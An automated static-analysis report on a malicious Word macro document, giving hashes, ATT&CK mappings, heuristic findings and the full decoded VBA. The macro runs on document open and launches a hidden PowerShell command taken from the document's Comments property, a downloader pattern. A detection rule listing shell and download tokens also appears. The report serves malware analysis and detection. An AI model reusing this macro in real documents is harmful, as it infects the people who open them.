Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f8285d02af670d2c…

MALICIOUS

Office (OOXML)

178.1 KB Created: 2021-07-15 17:57:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: 5bc451fff060cd435684763ae0022390 SHA-1: 1928051df7e6415f9b634c6acf071e4c83050754 SHA-256: f8285d02af670d2c02ee3243a211d406a0128a48407a642993ea78b73cb4a3f3
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open auto-execution subroutine. This subroutine utilizes CreateObject to instantiate a Shell.Application object, which is then used to execute a command. The script attempts to construct a command by concatenating 'P' with a value obtained from the document's 'Comments' property, likely to download and execute a secondary payload. This indicates a macro-based downloader pattern.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wIcE = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: file://C:\Users\Administrator\Music\Word_Macro_Builder\100,01111001,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Document hyperlink
    • http://schemas.microsoft.com/office/drawing/2014/chartexDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexDocument hyperlink
    • http://schemas.openxmlformats.org/markup-compatibility/2006Document hyperlink
    • http://schemas.microsoft.com/office/drawing/2016/inkDocument hyperlink
    • http://schemas.microsoft.com/office/drawing/2017/model3dDocument hyperlink
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsDocument hyperlink
    • http://schemas.openxmlformats.org/officeDocument/2006/mathDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingDocument hyperlink
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingDocument hyperlink
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordmlDocument hyperlink
    • http://schemas.microsoft.com/office/word/2012/wordmlDocument hyperlink
    • http://schemas.microsoft.com/office/word/2018/wordml/cexDocument hyperlink
    • http://schemas.microsoft.com/office/word/2016/wordml/cidDocument hyperlink
    • http://schemas.microsoft.com/office/word/2018/wordmlDocument hyperlink
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashDocument hyperlink
    • http://schemas.microsoft.com/office/word/2015/wordml/symexDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkDocument hyperlink
    • http://schemas.microsoft.com/office/word/2006/wordmlDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeDocument hyperlink
    • http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtdDocument hyperlink
    • http://www.w3.org/1999/xhtmlDocument hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1091 bytes
SHA-256: 1371a46a9ad0d9b494eb8696f4e7088c5203878d2096b35f930cf2ef3c764665
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "owershell"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Function GxhtKEm(fgfjhfgfg, fd45cvv0)

'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox



Dim wIcE

Set wIcE = CreateObject("Shell.Application")
wIcE.ShellExecute "P" + fd45cvv0, fgfjhfgfg, "", "", 0


End Function


Private Sub Document_Open()
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox

Dim AiiVi As String, wXBGq, AiiVi2
Dim BKJaHfE As DocumentProperty
For Each BKJaHfE In ActiveDocument.BuiltInDocumentProperties
If BKJaHfE.Name = "Comments" Then

BaVu = BKJaHfE.Value

lLSU = ActiveDocument.CodeName


wXBGq = GxhtKEm(BaVu, lLSU)
End If
Next
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 6f2b282459ff1cccf6f40d1229ce8c0812cd783b5987dfd0194c43a6e4778fc6

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